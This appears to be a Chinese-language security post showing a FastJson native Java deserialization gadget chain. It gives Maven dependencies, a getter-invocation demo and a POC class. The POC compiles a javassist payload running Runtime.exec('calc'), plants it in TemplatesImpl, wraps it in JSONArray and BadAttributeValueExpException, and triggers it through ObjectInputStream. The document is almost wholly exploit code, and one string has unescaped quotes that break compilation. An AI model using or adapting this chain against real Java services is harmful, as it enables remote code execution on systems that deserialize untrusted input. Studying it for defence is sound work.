FastJson原生反序列化链

<dependencies>    <dependency>        <groupId>com.alibaba</groupId>        <artifactId>fastjson</artifactId>        <!--<version>1.2.24</version>-->        <version>1.2.47</version>    </dependency>    <dependency>        <groupId>org.javassist</groupId>        <artifactId>javassist</artifactId>        <version>3.19.0-GA</version>    </dependency></dependencies>

package javassist;import com.alibaba.fastjson.JSON;public class JSONArrayTest {    public static void main(String[] args) {        Person p1 = new Person("kkk", 18);        String str = JSON.toJSONString(p1);        System.out.println(str);    }}class Person{    private String name;    private int age;    public Person(){        System.out.println("无参构造方法");    }    public Person(String name, int age){        this.name = name;        this.age = age;        System.out.println("有参构造方法");    }    public void setName(String name){        this.name = name;    }    public String getName(){        System.out.println("getName被调用");        return this.name;    }    public String getTest(){        System.out.println("getTest被调用");        return "test";    }}

package javassist;import com.alibaba.fastjson.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.lang.reflect.InvocationTargetException;public class POC {    public static void main(String[] args) {        doit();    }    private static void doit() {        try {            ClassPool pool = ClassPool.getDefault();            CtClass ctClass = pool.makeClass("abc");            CtConstructor cons = new CtConstructor(new CtClass[]{}, ctClass);            cons.setBody("{java.lang.Runtime.getRuntime().exec("calc");}");            ctClass.addConstructor(cons);            ctClass.setSuperclass(pool.get(AbstractTranslet.class.getName()));            byte[] bytes = ctClass.toBytecode();            TemplatesImpl templates = new TemplatesImpl();            Field bytecodes = templates.getClass().getDeclaredField("_bytecodes");            bytecodes.setAccessible(true);            bytecodes.set(templates, new byte[][]{bytes});            Field name = templates.getClass().getDeclaredField("_name");            name.setAccessible(true);            name.set(templates, System.nanoTime() + "abc");            Field tfactory = templates.getClass().getDeclaredField("_tfactory");            tfactory.setAccessible(true);            tfactory.set(templates, new TransformerFactoryImpl());            templates.getOutputProperties();            JSONArray array = new JSONArray();            array.add(templates);            Class<?> bad = Class.forName("javax.management.BadAttributeValueExpException");            Constructor<?> badCons = bad.getConstructors()[0];            Object badObj = badCons.newInstance(new String("fake"));            Field val = bad.getDeclaredField("val");            val.setAccessible(true);            val.set(badObj, array);            ByteArrayOutputStream baos = new ByteArrayOutputStream();            ObjectOutputStream oos = new ObjectOutputStream(baos);            oos.writeObject(badObj);            ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());            ObjectInputStream ois = new ObjectInputStream(bais);            ois.readObject();        } catch (CannotCompileException e) {            e.printStackTrace();        } catch (NotFoundException e) {            e.printStackTrace();        } catch (IOException e) {            e.printStackTrace();        } catch (IllegalAccessException e) {            e.printStackTrace();        } catch (NoSuchFieldException e) {            e.printStackTrace();        } catch (InstantiationException e) {            e.printStackTrace();        } catch (InvocationTargetException e) {            e.printStackTrace();        } catch (ClassNotFoundException e) {            e.printStackTrace();        }    }}